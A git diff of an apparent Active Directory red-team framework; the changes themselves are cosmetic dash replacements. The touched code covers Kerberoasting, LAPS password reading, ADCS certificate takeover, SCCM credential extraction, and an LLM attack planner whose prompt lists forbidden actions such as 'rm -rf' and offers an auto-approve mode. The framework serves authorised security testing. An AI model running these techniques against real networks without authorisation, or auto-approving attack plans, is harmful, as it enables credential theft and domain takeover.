(fix: was async def blocking event loop).+ Sync - runs in executor (fix: was async def blocking event loop).Fixes: AUTO_BIND_NONE, cookie loop, LDAPS fallback, try/finally unbind."""import ssl@@ -359,13 +359,13 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):generic_all = [m for m in misconfigs if m["right"] == "GenericAll"]if generic_all:self.finding(title=f"GenericAll ACE on {len(generic_all)} Objects",- description=f"{len(generic_all)} objects have GenericAll ACE — full control over target.",+ description=f"{len(generic_all)} objects have GenericAll ACE - full control over target.",severity=Severity.CRITICAL, mitre_technique="T1222.001", mitre_tactic="Defense Evasion",evidence={"objects": generic_all[:10]},remediation="Remove GenericAll ACE. Use specific delegations instead.")if write_dacl:self.finding(title=f"WriteDACL on {len(write_dacl)} Objects",- description=f"{len(write_dacl)} objects have WriteDACL — attacker can grant arbitrary rights.",+ description=f"{len(write_dacl)} objects have WriteDACL - attacker can grant arbitrary rights.",severity=Severity.HIGH, mitre_technique="T1222.001", mitre_tactic="Defense Evasion",evidence={"objects": write_dacl[:10]},remediation="Audit and remove WriteDACL delegations. Enable AD Protected Users.")diff --git a/ares/modules/ad/enum_computers.py b/ares/modules/ad/enum_computers.pyindex aaaa2b3..86c36b8 100644--- a/ares/modules/ad/enum_computers.py+++ b/ares/modules/ad/enum_computers.py@@ -1,5 +1,5 @@"""-AD Computer Enumeration — Production ldap3 Implementation+AD Computer Enumeration - Production ldap3 ImplementationEnumerate domain computers, DCs, OS versions, stale accounts.MITRE: T1018, T1087.002"""@@ -85,7 +85,7 @@ def _format_ldap_connection_failure()class ADEnumComputersModule(BaseModule[DomainAuthParams, ModuleResult]):"""- ad.enum_computers — Enumerate domain computers, OS versions, stale accounts, DCs+ ad.enum_computers - Enumerate domain computers, OS versions, stale accounts, DCsOPSEC: LOWMITRE: "T1018","T1087.002"diff --git a/ares/modules/ad/enum_spn.py b/ares/modules/ad/enum_spn.pyindex 348bf8e..b539e95 100644--- a/ares/modules/ad/enum_spn.py+++ b/ares/modules/ad/enum_spn.py@@ -1,4 +1,4 @@-"""AD SPN Enumeration — Production ldap3 Implementation. MITRE: T1558.003, T1087.002"""+"""AD SPN Enumeration - Production ldap3 Implementation. MITRE: T1558.003, T1087.002"""from __future__ import annotationsimport datetimefrom typing import Any@@ -58,7 +58,7 @@ def classify_enum_spn_outcome(spn_count: int) -> tuple[str, str]:)class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):"""- ad.enum_spn — Find SPN accounts (Kerberoasting candidates)+ ad.enum_spn - Find SPN accounts (Kerberoasting candidates)OPSEC: LOWMITRE: "T1558.003","T1087.002"@@ -90,7 +90,7 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.enum_spn requires domain credentials — "+ "ad.enum_spn requires domain credentials - ""pass 'username'/'password' in params or provide a vault credential.",module_id=self.MODULE_ID, field="username",)@@ -247,9 +247,9 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):def _fetch_spns_sync(self, dc, username, password, domain):"""- Sync (non-async) — runs in executor so it never blocks the event loop.+ Sync (non-async) - runs in executor so it never blocks the event loop.Issue #1 fix: moved from async def to sync def + run_in_executor call above.- Issue #2 fix: conn.unbind() in try/finally — always closes even on exception.+ Issue #2 fix: conn.unbind() in try/finally - always closes even on exception."""import sslimport ldap3@@ -368,7 +368,7 @@ class ADEnumSPNModule(BaseModule[DomainAuthParams, ModuleResult]):privd = [s for s in spns if s.get("is_admin")]old_pass = [s for s in spns if (s.get("days_since_pwd") or 0) > 365]self.finding(title=f"Kerberoastable Service Accounts ({len(spns)})",- description=(f"{len(spns)} SPN accounts — {len(rc4)} use RC4 (fastest to crack), "+ description=(f"{len(spns)} SPN accounts - {len(rc4)} use RC4 (fastest to crack), "f"{len(privd)} in privileged groups."),severity=Severity.CRITICAL if privd else Severity.HIGH,mitre_technique="T1558.003", mitre_tactic="Credential Access",diff --git a/ares/modules/ad/enum_users.py b/ares/modules/ad/enum_users.pyindex a617162..bd6baf8 100644--- a/ares/modules/ad/enum_users.py+++ b/ares/modules/ad/enum_users.py@@ -1,5 +1,5 @@"""-AD User Enumeration — Production Implementation+AD User Enumeration - Production ImplementationMITRE: T1087.002, T1201ldap3 with NTLM auth, paged search, UAC flag parsing.@@ -63,7 +63,7 @@ def _days_since(dt: datetime.datetime | None) -> int | None:)class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):"""- ad.enum_users — Enumerate domain users, attributes, dormant accounts, password policy+ ad.enum_users - Enumerate domain users, attributes, dormant accounts, password policyOPSEC: LOWMITRE: "T1087.002", "T1201"@@ -101,7 +101,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.enum_users requires domain credentials — "+ "ad.enum_users requires domain credentials - ""pass 'username'/'password' in params or provide a vault credential.",module_id=self.MODULE_ID, field="username",)@@ -250,9 +250,9 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):def _ldap_query_sync(self, dc, username, password, domain, use_ldaps, page_size):"""- Sync (non-async) — runs in executor so it never blocks the event loop.+ Sync (non-async) - runs in executor so it never blocks the event loop.Fix Issue #1: moved from async def to sync def + run_in_executor call above.- Fix Issue #2: conn.unbind() in try/finally — always closes even on exception.+ Fix Issue #2: conn.unbind() in try/finally - always closes even on exception."""import sslimport ldap3@@ -397,7 +397,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):dormant = [u for u in users if u.get("enabled") and (u.get("days_since_login") or 0) > 90]if dormant:self.finding(title=f"Dormant Active Accounts ({len(dormant)})",- description=f"{len(dormant)} enabled accounts unused 90+ days — low-detection targets.",+ description=f"{len(dormant)} enabled accounts unused 90+ days - low-detection targets.",severity=Severity.MEDIUM, mitre_technique="T1078.002", mitre_tactic="Initial Access",evidence={"accounts":[u["samAccountName"] for u in dormant[:15]]},remediation="Auto-disable after 90 days inactivity.")@@ -423,7 +423,7 @@ class ADEnumUsersModule(BaseModule[DomainAuthParams, ModuleResult]):evidence={"policy":policy},remediation="Set minimum password length to 14+.")if policy.get("lockoutThreshold", 0) == 0:- self.finding(title="No Account Lockout — Password Spray Possible",+ self.finding(title="No Account Lockout - Password Spray Possible",description="No lockout threshold allows unlimited spray attempts.",severity=Severity.HIGH, mitre_technique="T1110.003", mitre_tactic="Credential Access",evidence={"lockoutThreshold":0},diff --git a/ares/modules/ad/ghost_forge.py b/ares/modules/ad/ghost_forge.pyindex 3eb4e48..caf69be 100644--- a/ares/modules/ad/ghost_forge.py+++ b/ares/modules/ad/ghost_forge.py@@ -1,8 +1,8 @@"""-ad.ghost_forge — ADCS Cryptographic Identity & Kerberos PKINIT Takeover+ad.ghost_forge - ADCS Cryptographic Identity & Kerberos PKINIT TakeoverMITRE ATT&CK:- T1649 — Steal or Forge Authentication Certificates- T1558 — Steal or Forge Kerberos Tickets+ T1649 - Steal or Forge Authentication Certificates+ T1558 - Steal or Forge Kerberos TicketsAutonomous adversary emulation vector for Active Directory Certificate Services (ADCS):1. Targets misconfigured certificate templates (e.g. ESC1 / SAN specification allowed).@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.ad.ghost_forge"))class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):"""- ad.ghost_forge — Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover.+ ad.ghost_forge - Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover."""MODULE_ID = "ad.ghost_forge"MODULE_NAME = "ADCS Cryptographic Identity & PKINIT Takeover"@@ -192,7 +192,7 @@ class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):if technique == "esc13":policy_oid_val = getattr(p, "policy_oid", None) or "1.3.6.1.4.1.311.99.1.13"finding = ctx.emit_finding(- title=f"ADCS ESC13 Policy OID Abuse — PAC Group Elevation via Template Policy: {p.template}",+ title=f"ADCS ESC13 Policy OID Abuse - PAC Group Elevation via Template Policy: {p.template}",severity=Severity.CRITICAL,description=(f"Demonstrated architectural elevation via ESC13: Certificate template '{p.template}' enforces "@@ -220,7 +220,7 @@ class GhostForgeModule(BaseModule[GhostForgeParams, ModuleResult]):)else:finding = ctx.emit_finding(- title=f"ADCS Full-Chain Compromise — Persistent Domain Escalation as {target_account}",+ title=f"ADCS Full-Chain Compromise - Persistent Domain Escalation as {target_account}",severity=Severity.CRITICAL,description=(f"Successfully demonstrated end-to-end cryptographic identity takeover: "diff --git a/ares/modules/ad/kerberoast.py b/ares/modules/ad/kerberoast.pyindex a53a567..d4aba8e 100644--- a/ares/modules/ad/kerberoast.py+++ b/ares/modules/ad/kerberoast.py@@ -3,8 +3,8 @@ import asyncioimport multiprocessingimport time"""-Kerberoasting — impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)-MITRE: T1558.003 — Jitter + rate-limited TGS requests, hashcat-ready output.+Kerberoasting - impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)+MITRE: T1558.003 - Jitter + rate-limited TGS requests, hashcat-ready output."""from typing import Anyfrom ares.core.logger import get_logger@@ -251,7 +251,7 @@ def classify_kerberoast_outcome()class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):"""- ad.kerberoast — Request TGS tickets for SPN accounts — hashcat-ready hashes+ ad.kerberoast - Request TGS tickets for SPN accounts - hashcat-ready hashesOPSEC: MEDIUMMITRE: "T1558.003"@@ -261,7 +261,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):MODULE_ID = "ad.kerberoast"MODULE_NAME = "Kerberoasting"MODULE_CATEGORY = "ad"- MODULE_DESCRIPTION = "Request TGS tickets for SPN accounts — hashcat-ready hashes"+ MODULE_DESCRIPTION = "Request TGS tickets for SPN accounts - hashcat-ready hashes"MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.MEDIUMREQUIRES = ["domain_creds"]@@ -327,7 +327,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):async def validate(self, ctx: "Any") -> None:"""Enforce dc, domain, and domain credentials.- Also block early in STEALTH profile — each TGS request logs Event ID 4769.+ Also block early in STEALTH profile - each TGS request logs Event ID 4769."""from ares.core.context import ExecutionContextfrom ares.core.errors import ModuleValidationError@@ -347,7 +347,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.kerberoast requires domain credentials to request TGS tickets — "+ "ad.kerberoast requires domain credentials to request TGS tickets - ""pass 'username'/'password' in params or provide a vault credential.",module_id=self.MODULE_ID, field="username",)@@ -355,7 +355,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "ad.kerberoast is blocked in STEALTH profile — "+ "ad.kerberoast is blocked in STEALTH profile - ""TGS requests generate Event ID 4769 per ticket and are trivially ""detected by SIEM. Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -526,7 +526,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):"""Fix Bug 1: Drop GetUserSPNs (impacket example script, unstable API).Use getKerberosTGT + getKerberosTGS from impacket.krb5.kerberosv5 directly.- Fix Bug 2: Jitter after every single TGS request — not burst then sleep.+ Fix Bug 2: Jitter after every single TGS request - not burst then sleep.Fix Bug 3: Explicit per-noise-profile rate limit (10/min NORMAL, 50/min AGGRESSIVE)."""ensure_ad_dependencies(@@ -701,7 +701,7 @@ class KerberoastModule(BaseModule[KerberoastParams, ModuleResult]):if not hashes:returnself.finding(title=f"Kerberoast Hashes Captured ({len(hashes)})",- description=(f"{len(hashes)} TGS hashes captured — crackable offline. "+ description=(f"{len(hashes)} TGS hashes captured - crackable offline. ""hashcat mode 13100 (RC4) or 19700 (AES256)."),severity=Severity.CRITICAL, mitre_technique="T1558.003", mitre_tactic="Credential Access",evidence={"hash_count":len(hashes), "accounts":[a["name"] for a in raw.get("accounts",[])[:10]],diff --git a/ares/modules/ad/laps_enum.py b/ares/modules/ad/laps_enum.pyindex 7120f74..c0e1c37 100644--- a/ares/modules/ad/laps_enum.py+++ b/ares/modules/ad/laps_enum.py@@ -1,15 +1,15 @@"""-LAPS Password Enumeration — ad.laps_enum-MITRE: T1552.004 — Credentials from Password Stores: Private Keys / LAPS Passwords+LAPS Password Enumeration - ad.laps_enum+MITRE: T1552.004 - Credentials from Password Stores: Private Keys / LAPS PasswordsReads plaintext local admin passwords from Active Directory.LAPS (Local Administrator Password Solution) stores the password inms-Mcs-AdmPwd (LAPS v1) or msLAPS-Password (LAPS v2) on computer objects.Only accounts with AllExtendedRights or ReadProperty on ms-Mcs-AdmPwd-can read these — ad.enum_acl identifies which accounts have this access.+can read these - ad.enum_acl identifies which accounts have this access.-OPSEC: LOW — single LDAP query, same noise level as ad.enum_users.+OPSEC: LOW - single LDAP query, same noise level as ad.enum_users.Passwords stored directly in vault for immediate use.Quick win: very common in enterprise environments, effort is minimal,@@ -50,7 +50,7 @@ logger = get_logger("ares.modules.ad.laps_enum"))class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):"""- ad.laps_enum — Read LAPS local admin passwords from Active Directory computer objects. Supports LAPS v1 (ms-Mcs+ ad.laps_enum - Read LAPS local admin passwords from Active Directory computer objects. Supports LAPS v1 (ms-McsOPSEC: LOWMITRE: "T1552.004"@@ -254,7 +254,7 @@ class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):"host_count": len(laps_entries),"computers": [e["computer"] for e in laps_entries[:20]],"laps_version": list({e["version"] for e in laps_entries}),- "note": "Plaintext passwords in vault — not shown in findings",+ "note": "Plaintext passwords in vault - not shown in findings",},remediation = ("Restrict ReadProperty on ms-Mcs-AdmPwd to only authorized admins. "@@ -281,7 +281,7 @@ class LAPSEnumModule(BaseModule[LAPSEnumParams, ModuleResult]):LDAP query for LAPS passwords on computer objects.Tries LAPS v1 (ms-Mcs-AdmPwd) then LAPS v2 (msLAPS-Password).Returns list of {computer, password, version, expiry}.- Sync — runs in executor.+ Sync - runs in executor."""import sslimport ldap3diff --git a/ares/modules/ad/sccm.py b/ares/modules/ad/sccm.pyindex 85988e1..bdff48c 100644--- a/ares/modules/ad/sccm.py+++ b/ares/modules/ad/sccm.py@@ -1,5 +1,5 @@"""-ad.sccm — SCCM/MECM Abuse Module+ad.sccm - SCCM/MECM Abuse ModuleMITRE: T1078.002 (Valid Accounts: Domain Accounts)T1021.006 (Remote Services: WinRM)@@ -25,7 +25,7 @@ Exploits Microsoft Endpoint Configuration Manager (MECM/SCCM) for:- This account often has local admin on ALL domain computers- Capture push credentials via SMB relay or by reading site config-OPSEC: MEDIUM — WMI/LDAP queries are relatively quiet.+OPSEC: MEDIUM - WMI/LDAP queries are relatively quiet.Application deployment is HIGH_NOISE.Dependencies: impacket (WMI, SMB), ldap3 (AD enumeration)@@ -65,7 +65,7 @@ logger = get_logger("ares.modules.ad.sccm"))class SCCMModule(BaseModule[SCCMParams, ModuleResult]):"""- ad.sccm — SCCM/MECM enumeration and credential extraction+ ad.sccm - SCCM/MECM enumeration and credential extractionOPSEC: MEDIUMMITRE: T1078.002, T1021.006@@ -283,7 +283,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):f"Network Access Account credentials extracted from SCCM client "f"policy on {naa_target}: {naa_info['naa_username']}. ""NAA accounts are used by SCCM clients to access distribution points. "- "They frequently have excessive privileges — test for domain admin access."+ "They frequently have excessive privileges - test for domain admin access."),severity=Severity.CRITICAL,mitre_technique="T1078.002", mitre_tactic="Credential Access",@@ -291,7 +291,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):"source": naa_target, "encrypted": naa_info.get("encrypted", True)},host=naa_target, confidence=0.95,remediation=(- "1. Remove NAA configuration — use Enhanced HTTP instead. "+ "1. Remove NAA configuration - use Enhanced HTTP instead. ""2. If NAA is required, use a dedicated account with minimal permissions. ""3. Rotate NAA password immediately. ""4. Audit NAA account permissions in Active Directory."@@ -546,7 +546,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):except Exception as exc:err = str(exc).lower()if "access denied" in err or "access_denied" in err:- result["error"] = f"Access denied on {target} — need local admin"+ result["error"] = f"Access denied on {target} - need local admin"else:result["error"] = str(exc)[:200]return result@@ -562,7 +562,7 @@ class SCCMModule(BaseModule[SCCMParams, ModuleResult]):try:sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.settimeout(3)- # DHCP PXE discovery — send DHCP DISCOVER with PXE vendor class+ # DHCP PXE discovery - send DHCP DISCOVER with PXE vendor class# Check if port 4011 (PXE) or 67 (DHCP) respondsfor port in [4011, 67]:try:diff --git a/ares/modules/ai/__init__.py b/ares/modules/ai/__init__.pyindex b671315..3fd0ade 100644--- a/ares/modules/ai/__init__.py+++ b/ares/modules/ai/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.ai+ARES - modules.aiAI-powered attack planning and orchestration modules."""from __future__ import annotationsdiff --git a/ares/modules/ai/autonomous_planner.py b/ares/modules/ai/autonomous_planner.pyindex 5bcd743..3927d96 100644--- a/ares/modules/ai/autonomous_planner.py+++ b/ares/modules/ai/autonomous_planner.py@@ -1,5 +1,5 @@"""-ai.autonomous_planner — LLM-Powered Attack Chain Orchestration+ai.autonomous_planner - LLM-Powered Attack Chain OrchestrationReads all campaign context (artifacts, credentials, findings, failed modules,network topology) and sends to an LLM API to dynamically plan the next attack@@ -14,20 +14,20 @@ This module connects all existing ARES building blocks:CredentialVault → available credentials with privilege scoresModuleChain → execution of the AI-generated plan-LLM operates in SUGGEST mode (not autonomous executor) — every plan+LLM operates in SUGGEST mode (not autonomous executor) - every planrequires operator review before execution unless auto_approve=True.-MITRE: T1591 (Gather Victim Org Info — context aggregation)+MITRE: T1591 (Gather Victim Org Info - context aggregation)OPSEC: LOCAL (LLM API call only, no direct target network contact)Supported LLM backends:- - claude (Anthropic Claude — default)+ - claude (Anthropic Claude - default)- openai (OpenAI GPT-4)- local (Ollama local LLM)Note: LLM API key must be set in environment:- ANTHROPIC_API_KEY — for Claude- OPENAI_API_KEY — for OpenAI GPT+ ANTHROPIC_API_KEY - for Claude+ OPENAI_API_KEY - for OpenAI GPT"""from __future__ import annotations@@ -90,7 +90,7 @@ class AIPlan:def _build_round_narrative(completed_rounds: list) -> str:"""Build LLM-readable narrative of completed rounds for memory injection."""if not completed_rounds:- return "Round 1 — no prior history."+ return "Round 1 - no prior history."lines = ["=== PREVIOUS ROUNDS HISTORY ==="]for r in completed_rounds[-3:]: # max 3 rounds back@@ -138,8 +138,8 @@ class CampaignContextBuilder:"privilege": priv,"cracked": cracked,"recommended_use": can_use[:4],- "note": ("Cracked — ready to use" if cracked- else "Hash available — crack first before use"),+ "note": ("Cracked - ready to use" if cracked+ else "Hash available - crack first before use"),})return result@@ -333,7 +333,7 @@ class LocalOllamaBackend(LLMBackend):def _score_plan(plan: dict) -> float:- """Score a raw plan dict for consensus merging — higher = better."""+ """Score a raw plan dict for consensus merging - higher = better."""stages = plan.get("stages", [])confidence = float(plan.get("confidence", 0.5))modules = [m for s in stages for m in s.get("modules", [])]@@ -363,14 +363,14 @@ def _merge_plans(plan_a: dict, plan_b: dict) -> dict:sb = stages_b.get(name)if sa and sb:- # Both LLMs suggested this stage — high agreement+ # Both LLMs suggested this stage - high agreementagreement_count += 1mods_a = set(sa.get("modules", []))mods_b = set(sb.get("modules", []))agreed_mods = list(mods_a & mods_b)disputed_mods = list((mods_a | mods_b) - (mods_a & mods_b))- # Merge params — prefer plan_a for conflicts+ # Merge params - prefer plan_a for conflictsmerged_params = {**sb.get("params", {}), **sa.get("params", {})}merged_stages.append({@@ -400,7 +400,7 @@ def _merge_plans(plan_a: dict, plan_b: dict) -> dict:))if agreement_ratio < 1.0:warnings.append(- f"LOW CONSENSUS: LLMs agreed on only {agreement_ratio:.0%} of stages — "+ f"LOW CONSENSUS: LLMs agreed on only {agreement_ratio:.0%} of stages - ""operator review strongly recommended before execution.")@@ -488,26 +488,26 @@ async def _run_adversarial_simulation(# ── Prompt builder ────────────────────────────────────────────────────────────-# ── Red Team Constitution — injected into every LLM call ────────────────────+# ── Red Team Constitution - injected into every LLM call ────────────────────# Engagement rules that constrain what the LLM can recommend.# Operators can override soft rules per-engagement via params.DEFAULT_CONSTITUTION = """-=== ENGAGEMENT RULES (injected by ARES — do not violate) ===+=== ENGAGEMENT RULES (injected by ARES - do not violate) ===-HARD RULES — NEVER recommend actions that:+HARD RULES - NEVER recommend actions that:1. Target hosts/CIDRs outside the campaign scope list2. Execute data destruction (rm -rf, format, wipe, ransomware-style)3. Create outbound connections to non-operator IPs not in scope4. Exfil data over 10MB without explicit operator confirmation param-SOFT RULES — WARN the operator but allow if they set override=True:-1. DCSync (T1003.006) — requires prior written authorization note-2. Persistence modules — only if engagement type explicitly includes persistence-3. Any module against a production DC (dc01, dc1, prod*) — confirm first-4. credential.golden_ticket — requires written authorization+SOFT RULES - WARN the operator but allow if they set override=True:+1. DCSync (T1003.006) - requires prior written authorization note+2. Persistence modules - only if engagement type explicitly includes persistence+3. Any module against a production DC (dc01, dc1, prod*) - confirm first+4. credential.golden_ticket - requires written authorization-SCOPE REMINDER — only recommend modules targeting:+SCOPE REMINDER - only recommend modules targeting:{scope_cidrs}Engagement type: {engagement_type}@@ -518,7 +518,7 @@ SYSTEM_PROMPT = """You are an expert red team attack planner for the ARES framewYour task: given a campaign context, generate the optimal next attack chain.Rules:-1. Output ONLY valid JSON — no markdown, no explanation outside JSON+1. Output ONLY valid JSON - no markdown, no explanation outside JSON2. Only recommend modules that exist in available_modules list3. Respect noise_profile: stealth=avoid HIGH_NOISE modules, aggressive=use all4. Order stages logically: recon → credential_access → lateral → persistence@@ -532,7 +532,7 @@ Flag any SOFT RULE violations in the warnings field.Output JSON schema:{- "reasoning": "string — why this plan, what evidence supports it",+ "reasoning": "string - why this plan, what evidence supports it","confidence": 0.0-1.0,"stages": [{@@ -591,14 +591,14 @@ def _build_user_prompt(context: dict, completed_rounds: list | None = None) -> s# BUG 9 FIX: render target_states so LLM sees per-host failure historyif context.get("target_states"):parts += [- "Per-host state (CRITICAL — do NOT repeat techniques that FAILED on the same host):",+ "Per-host state (CRITICAL - do NOT repeat techniques that FAILED on the same host):",json.dumps(context["target_states"], indent=2),"",]# Surface rejected plan reason when re-planningif context.get("rejected_plan_reason"):parts += [- f"WARNING — PREVIOUS PLAN REJECTED: {context['rejected_plan_reason']}",+ f"WARNING - PREVIOUS PLAN REJECTED: {context['rejected_plan_reason']}","",]parts += ["Generate the optimal next attack plan as JSON."]@@ -637,12 +637,12 @@ def _build_system_prompt_with_constitution()class AIAutonomousPlannerModule(BaseModule):"""- ai.autonomous_planner — LLM-powered attack chain orchestration.+ ai.autonomous_planner - LLM-powered attack chain orchestration.Aggregates campaign context and uses an LLM to generate the optimalnext attack steps. Outputs a structured ExecutionPlan for operator review.- OPSEC: LOCAL (LLM API call — no direct target network contact from this module)+ OPSEC: LOCAL (LLM API call - no direct target network contact from this module)MITRE: T1591REQUIRES: active_campaignOUTPUTS: execution_plan, ai_reasoning, confidence_score, warnings@@ -802,7 +802,7 @@ class AIAutonomousPlannerModule(BaseModule):**kwargs: Any,) -> tuple[list, dict]:"""- Note: before_request() intentionally not called — LOCAL module.+ Note: before_request() intentionally not called - LOCAL module.LLM API call has no scope relevance (calls Anthropic/OpenAI, not target)."""audit("ai_planner_invoked", actor="operator",@@ -917,7 +917,7 @@ class AIAutonomousPlannerModule(BaseModule):# Generate findingsself._generate_findings(ai_plan, goal, context)- # Adversarial simulation — what would defender see?+ # Adversarial simulation - what would defender see?adversarial_result = {}if kwargs.get("adversarial_sim", False) and ai_plan.stages:try:@@ -975,7 +975,7 @@ class AIAutonomousPlannerModule(BaseModule):reasoning= f"LLM response parse failed: {str(exc)[:100]}. Raw: {content[:200]}",stages= [],confidence= 0.0,- warnings= ["LLM response was not valid JSON — manual planning required"],+ warnings= ["LLM response was not valid JSON - manual planning required"],llm_model= model,tokens_used=tokens,)@@ -993,7 +993,7 @@ class AIAutonomousPlannerModule(BaseModule):mitre_technique="T1591",mitre_tactic="Reconnaissance",evidence={"goal": goal, "warnings": plan.warnings},- remediation="Add more recon data — run ad.enum_users, recon.fingerprint first.",+ remediation="Add more recon data - run ad.enum_users, recon.fingerprint first.",host="ai_planner",confidence=0.50,)@@ -1004,7 +1004,7 @@ class AIAutonomousPlannerModule(BaseModule):all_modules = [m for s in plan.stages for m in s.get("modules", [])]self.finding(- title=f"AI Attack Plan Generated — {len(plan.stages)} Stages, "+ title=f"AI Attack Plan Generated - {len(plan.stages)} Stages, "f"{len(all_modules)} Modules, {plan.confidence:.0%} Confidence",description=(f"Goal: {goal}. "diff --git a/ares/modules/ai/plan_validator.py b/ares/modules/ai/plan_validator.pyindex f232980..aba56e4 100644--- a/ares/modules/ai/plan_validator.py+++ b/ares/modules/ai/plan_validator.py@@ -1,5 +1,5 @@"""-ares/modules/ai/plan_validator.py — LLM Plan Validator+ares/modules/ai/plan_validator.py - LLM Plan ValidatorValidates AI-generated attack plans before execution:1. All module IDs must exist in registry@@ -28,7 +28,7 @@ _MIN_CONFIDENCE = 0.40class PlanValidator:"""Validates an AIPlan before it reaches engine.run_module().- Returns list of error strings — empty = plan is valid.+ Returns list of error strings - empty = plan is valid."""def validate(@@ -41,12 +41,12 @@ class PlanValidator:if plan.confidence < _MIN_CONFIDENCE:errors.append(- f"Confidence {plan.confidence:.0%} below minimum {_MIN_CONFIDENCE:.0%} — "+ f"Confidence {plan.confidence:.0%} below minimum {_MIN_CONFIDENCE:.0%} - ""plan too uncertain to execute safely.")if not plan.stages:- errors.append("Plan has no stages — LLM returned empty plan.")+ errors.append("Plan has no stages - LLM returned empty plan.")return errors # Nothing else to checkfor stage in plan.stages:@@ -66,17 +66,17 @@ class PlanValidator:else None)if not cls:errors.append(- f"Unknown module: '{mid}' (stage: {stage_name}) — "+ f"Unknown module: '{mid}' (stage: {stage_name}) - ""not in registry. LLM hallucinated module ID.")continueelse:- # No registry available — check technique library as fallback+ # No registry available - check technique library as fallbacktry:from ares.technique.library import _MODULE_TECHNIQUE_MAPif mid not in _MODULE_TECHNIQUE_MAP:errors.append(- f"Unknown module: '{mid}' — not in technique library."+ f"Unknown module: '{mid}' - not in technique library.")continueexcept ImportError:@@ -120,7 +120,7 @@ class PlanValidator:if plan.warnings is None:plan.warnings = []plan.warnings.append(- f"{mid} is HIGH_NOISE — will generate significant IOCs. "+ f"{mid} is HIGH_NOISE - will generate significant IOCs. ""Verify SOC shift timing before executing.")except Exception:diff --git a/ares/modules/base.py b/ares/modules/base.pyindex 4cb02c9..ebcb139 100644--- a/ares/modules/base.py+++ b/ares/modules/base.py@@ -9,18 +9,18 @@ Metadata system enables:- engine capability querying (list all modules that output 'spn_list')Required class attributes:- MODULE_ID str — unique dotted ID, e.g. "ad.kerberoast"- MODULE_NAME str — human name- MODULE_CATEGORY str — "ad" | "linux" | "cloud" | "reporting"- MODULE_DESCRIPTION str — one-liner for CLI list+ MODULE_ID str - unique dotted ID, e.g. "ad.kerberoast"+ MODULE_NAME str - human name+ MODULE_CATEGORY str - "ad" | "linux" | "cloud" | "reporting"+ MODULE_DESCRIPTION str - one-liner for CLI listOptional class attributes (defaults shown):- OPSEC_LEVEL OpsecLevel — SILENT | LOW | MEDIUM | HIGH_NOISE- REQUIRES list[str] — capabilities/outputs this module needs as input- OUTPUTS list[str] — what this module produces (feeds downstream modules)- MITRE_TECHNIQUES list[str] — ATT&CK technique IDs+ OPSEC_LEVEL OpsecLevel - SILENT | LOW | MEDIUM | HIGH_NOISE+ REQUIRES list[str] - capabilities/outputs this module needs as input+ OUTPUTS list[str] - what this module produces (feeds downstream modules)+ MITRE_TECHNIQUES list[str] - ATT&CK technique IDsMODULE_AUTHOR str- MIN_NOISE_PROFILE str | None — block execution below this profile+ MIN_NOISE_PROFILE str | None - block execution below this profile"""from __future__ import annotations@@ -139,10 +139,10 @@ def normalize_module_metadata(class OpsecLevel(str, Enum):SILENT = "silent" # passive/local only, zero network traffic- LOCAL = "local" # alias for SILENT — cracking, local-only ops+ LOCAL = "local" # alias for SILENT - cracking, local-only opsLOW = "low" # read-only LDAP, basic API callsMEDIUM = "medium" # active queries, Kerberos TGS- HIGH_NOISE = "high_noise" # DCSync, brute force — blocked in stealth+ HIGH_NOISE = "high_noise" # DCSync, brute force - blocked in stealth# ── Feasibility Report ────────────────────────────────────────────────────────@@ -184,7 +184,7 @@ class BaseModule(abc.ABC, Generic[P, R]):async def run(self, **kwargs) -> tuple[list[Finding], dict[str, Any]]:...- Formal SDK contract (v0.9.0+) — see validate(), before_request(), finding().+ Formal SDK contract (v0.9.0+) - see validate(), before_request(), finding()."""PARAMS_MODEL: Any = None@@ -225,12 +225,12 @@ class BaseModule(abc.ABC, Generic[P, R]):async def validate(self, ctx: "Any") -> None:"""Validate the execution context BEFORE running the module.- Called automatically by the engine — do not call manually.+ Called automatically by the engine - do not call manually.Raise ModuleValidationError if context is insufficient.Default: checks target is set and all REQUIRES entries are available.Override to add module-specific validation (format checks, etc.).- Do NOT make network calls here — validate() must complete in < 10s.+ Do NOT make network calls here - validate() must complete in < 10s.Example override:async def validate(self, ctx):@@ -245,14 +245,14 @@ class BaseModule(abc.ABC, Generic[P, R]):from ares.core.errors import ModuleValidationErrorif not isinstance(ctx, ExecutionContext):- return # legacy context — skip validation+ return # legacy context - skip validationif getattr(self, "PARAMS_MODEL", None) is not None:from ares.sdk.params import validate_paramsctx.params = 